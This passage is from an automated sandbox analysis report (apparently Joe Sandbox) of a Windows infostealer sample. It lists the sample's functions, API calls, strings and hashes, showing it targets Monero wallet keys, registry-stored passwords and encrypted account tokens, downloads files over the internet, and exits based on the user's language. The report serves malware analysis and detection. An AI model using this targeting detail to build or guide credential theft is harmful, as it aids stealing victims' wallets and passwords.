Part of subcall function 003499C0: LocalFree.KERNEL32(0034148F), ref: 00349A90
Part of subcall function 003499C0: CloseHandle.KERNEL32(000000FF), ref: 00349A9A

DeleteFileA.KERNEL32(00000000), ref: 003414EF

Strings

wallet_path, xrefs: 00341330
\Monero\wallet.keys, xrefs: 0034138D
.keys, xrefs: 0034136B
SOFTWARE\monero-project\monero-core, xrefs: 00341335

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 7ccb2016b0e0b644e58c96129ab05acd852d0721131bbecc0bd94a3a555ad56d
Instruction ID: b3a8e8a9d00c161f48e6c7fd7511f3e95d0a26fa708bc9f64dd57d4bc27d5720
Opcode Fuzzy Hash: 7ccb2016b0e0b644e58c96129ab05acd852d0721131bbecc0bd94a3a555ad56d
Instruction Fuzzy Hash: 455153B1D5051857CB16EB60DC92FED777CAF54301F404298BA0AAA091EF306B8DDFA6

Function 003475D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003472D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0034733A
Part of subcall function 003472D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003473B1
Part of subcall function 003472D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0034740D
Part of subcall function 003472D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00347452
Part of subcall function 003472D0: HeapFree.KERNEL32(00000000), ref: 00347459

lstrcat.KERNEL32(00000000,003617FC), ref: 00347606
lstrcat.KERNEL32(00000000,00000000), ref: 00347648
lstrcat.KERNEL32(00000000, : ), ref: 0034765A
lstrcat.KERNEL32(00000000,00000000), ref: 0034768F
lstrcat.KERNEL32(00000000,00361804), ref: 003476A0
lstrcat.KERNEL32(00000000,00000000), ref: 003476D3
lstrcat.KERNEL32(00000000,00361808), ref: 003476ED
task.LIBCPMTD ref: 003476FB

Strings

: , xrefs: 0034764E

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 8c754faf2ad67d9700c0d82f8a382673a3486beb66313b20ea6833a788e22bb1
Instruction ID: 0fc42ac95f7768f061496f6957e38b26fc4b05c3fd6cec1fc74ed75e3bd5d0ba
Opcode Fuzzy Hash: 8c754faf2ad67d9700c0d82f8a382673a3486beb66313b20ea6833a788e22bb1
Instruction Fuzzy Hash: 56316B71D00109DBDB06EBA4DC85DEE73B9FB64301B14410AF502BB295EB38A94ADB61

Function 00358100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00FBDE18,00000000,?,00360E2C,00000000,?,00000000), ref: 00358130
RtlAllocateHeap.NTDLL(00000000), ref: 00358137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00358158
__aulldiv.LIBCMT ref: 00358172
__aulldiv.LIBCMT ref: 00358180
wsprintfA.USER32 ref: 003581AC

Strings

@, xrefs: 0035814D
%d MB, xrefs: 003581A3

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: cf6decc5483efa2b29a07b9b965c857080c4ee72954abf435fd66079df15c706
Instruction ID: 68399cfc7c9211d717bc17adf2d5ead759dc4a2bacf08861aadc1e5aa5b51d57
Opcode Fuzzy Hash: cf6decc5483efa2b29a07b9b965c857080c4ee72954abf435fd66079df15c706
Instruction Fuzzy Hash: 4A2160B1E44208ABEB10DFD4CC49FAFB7B8FB44B01F104509FA05BB290D77859058BA5

Function 003460A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00344839
Part of subcall function 003447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00344849

InternetOpenA.WININET(00360DF7,00000001,00000000,00000000,00000000), ref: 0034610F
StrCmpCA.SHLWAPI(?,00FBE858), ref: 00346147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0034618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 003461B3
InternetReadFile.WININET(?,?,00000400,?), ref: 003461DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0034620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00346249
InternetCloseHandle.WININET(?), ref: 00346253
InternetCloseHandle.WININET(00000000), ref: 00346260

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: e659028daf40fd6757dcaeb2e7b96877185537be99edbba4d8031d1853b29551
Instruction ID: 0e3c3e5d475eea7ae4e93f83946964e61bb5da4f2cd9f3ec79dfd71f73ba8cf8
Opcode Fuzzy Hash: e659028daf40fd6757dcaeb2e7b96877185537be99edbba4d8031d1853b29551
Instruction Fuzzy Hash: 95519470900208ABEB21DF60CC46BEE77B8FB44701F108599BA05BB1C0DBB46A89DF56

Function 003472D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0034733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003473B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0034740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00347452
HeapFree.KERNEL32(00000000), ref: 00347459
task.LIBCPMTD ref: 00347555

Strings

Password, xrefs: 00347401

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 2985e877dd5f8ee819c8255b22441a18c0d65ad4be52eff404eb0dcf32a7741b
Instruction ID: 110d6a954d6ccf0d59b68c102cc5e418409f4dd9f7835e4a00ada91fd56a6b09
Opcode Fuzzy Hash: 2985e877dd5f8ee819c8255b22441a18c0d65ad4be52eff404eb0dcf32a7741b
Instruction Fuzzy Hash: FC611BB591415C9BDB25DB50CC45BEAB7F8BF44300F0085E9E649AA241DBB06BC9CFA1

Function 0034BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

lstrlen.KERNEL32(00000000), ref: 0034BC9F

Part of subcall function 00358E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00358E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0034BCCD
lstrlen.KERNEL32(00000000), ref: 0034BDA5
lstrlen.KERNEL32(00000000), ref: 0034BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0034BBEB
AccountTokens, xrefs: 0034BB49
AccountTokens, xrefs: 0034BABA
AccountId, xrefs: 0034BCC4

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: e26fd5a19a935adfcd36c61e775c739400fd5b22d4a63098a68f7d0d5b8fbaaa
Instruction ID: 84ab634ebc210bc8fc7e077252520eba4bcc0169042389bdc9e9905ca23b7e6d
Opcode Fuzzy Hash: e26fd5a19a935adfcd36c61e775c739400fd5b22d4a63098a68f7d0d5b8fbaaa
Instruction Fuzzy Hash: B4B154719105089BDB06FBA0CC96EEE7778BF54301F404259F907BA1A1EF346A4DEB62

Function 00356770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00356774
ExitProcess.KERNEL32 ref: 003567A5
ExitProcess.KERNEL32 ref: 003567AF
ExitProcess.KERNEL32 ref: 003567B9
ExitProcess.KERNEL32 ref: 003567C3
ExitProcess.KERNEL32 ref: 003567CD

Strings

*, xrefs: 0035678C

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 90daa86bfd4a1abf455c4747930d1c2de94fbacf8dc7b819c14524ac5a0f43f6
Instruction ID: 2bea2bfd7a1f48d8db2bb7f988324490962c7217e100ea1e5d945a96a06c4f70
Opcode Fuzzy Hash: 90daa86bfd4a1abf455c4747930d1c2de94fbacf8dc7b819c14524ac5a0f43f6
Instruction Fuzzy Hash: C4F05430904209EFE3449FE0E90972C7B74FB18703F04019AEA05D7290D6744B56BB96

Function 00344FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00344FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00344FD1
InternetOpenA.WININET(00360DDF,00000000,00000000,00000000,00000000), ref: 00344FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00345011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00345041
InternetCloseHandle.WININET(?), ref: 003450B9
InternetCloseHandle.WININET(?), ref: 003450C6

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: f29c49876981f0364de52d0d75a61d06598a330a13edb09a4c6648272eb3547b
Instruction ID: 9310433d5de8995ae9423d97f94cce1c31634d6d7af534f61c4ed6398a3ce1cb
Opcode Fuzzy Hash: f29c49876981f0364de52d0d75a61d06598a330a13edb09a4c6648272eb3547b
Instruction Fuzzy Hash: B13104B4A00218ABEB20CF54DC85BDDB7B4EB48704F5081D9EA09B7281D7706E899F99

Function 003583DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00358426
wsprintfA.USER32 ref: 00358459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0035847B
RegCloseKey.ADVAPI32(00000000), ref: 0035848C
RegCloseKey.ADVAPI32(00000000), ref: 00358499

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

RegQueryValueExA.ADVAPI32(00000000,00FBDFE0,00000000,000F003F,?,00000400), ref: 003584EC
lstrlen.KERNEL32(?), ref: 00358501
RegQueryValueExA.ADVAPI32(00000000,00FBE070,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00360B34), ref: 00358599
RegCloseKey.ADVAPI32(00000000), ref: 00358608
RegCloseKey.ADVAPI32(00000000), ref: 0035861A

Strings

%s\%s, xrefs: 0035844D

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 5dde142ce286f0815b4b5172cc5ed08670a44f0222056832b40ec3c8462ca479
Instruction ID: 26ce0b269e35e1d2f8a6aca70e25c1df1f5741084f08d1fa83ef5b76b057e43a
Opcode Fuzzy Hash: 5dde142ce286f0815b4b5172cc5ed08670a44f0222056832b40ec3c8462ca479
Instruction Fuzzy Hash: 0D211D719002189BEB24DB54DC85FE9B7B8FB48701F00C5D9EA09A6150DF71AA89DFE4

Function 00357690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003576A4
RtlAllocateHeap.NTDLL(00000000), ref: 003576AB
RegOpenKeyExA.ADVAPI32(80000002,00FAC5E8,00000000,00020119,00000000), ref: 003576DD
RegQueryValueExA.ADVAPI32(00000000,00FBE028,00000000,00000000,?,000000FF), ref: 003576FE
RegCloseKey.ADVAPI32(00000000), ref: 00357708

Strings

Windows 11, xrefs: 003576BD

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 9530759027cd0dab674001099f5b1f53eebca81e0df040991f431cfaf4428381
Instruction ID: 36abd1045e1095e77d9ad8f28a5e2872a09a5cecefd765e79e11495b3271601a
Opcode Fuzzy Hash: 9530759027cd0dab674001099f5b1f53eebca81e0df040991f431cfaf4428381
